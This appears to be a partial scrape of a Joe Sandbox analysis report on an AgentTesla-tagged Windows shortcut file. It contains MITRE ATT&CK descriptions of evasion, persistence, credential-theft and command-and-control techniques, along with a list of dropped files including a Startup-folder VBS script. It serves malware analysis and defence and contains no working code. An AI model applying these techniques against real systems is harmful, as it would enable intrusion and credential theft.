Opcode ID: ccedf3d74abc22f664d8b2622e823332c5d17a584919d07135fbb53f122cc0e9
Instruction ID: 14cb799e55e5bea9e547e38219b84799102921b240d61a35051ab272ed0782e5
Opcode Fuzzy Hash: ccedf3d74abc22f664d8b2622e823332c5d17a584919d07135fbb53f122cc0e9
Instruction Fuzzy Hash: D4D067B5D0121DAF8B80EFB9AD091DEBBF8FE09250B104566D919E7240E6715A14CBD1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RTGS-WB-ABS-240730-NEW.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aWUFv.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_03z3klie.fhq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_duy0shnp.1z5.ps1

C:\Users\user\AppData\Local\Temp\file.exe

C:\Users\user\AppData\Local\Temp\flexuoseness

C:\Users\user\AppData\Local\unspattered\recomplaint.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\746c438e21160650.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G43DTOBPZAS7WZLARAO3.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs

C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe

\Device\ConDrv

Windows Analysis Report
RTGS-WB-ABS-240730-NEW.lnk

Function 06E55150 Relevance: 1.8, Strings: 1, Instructions: 591
COMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre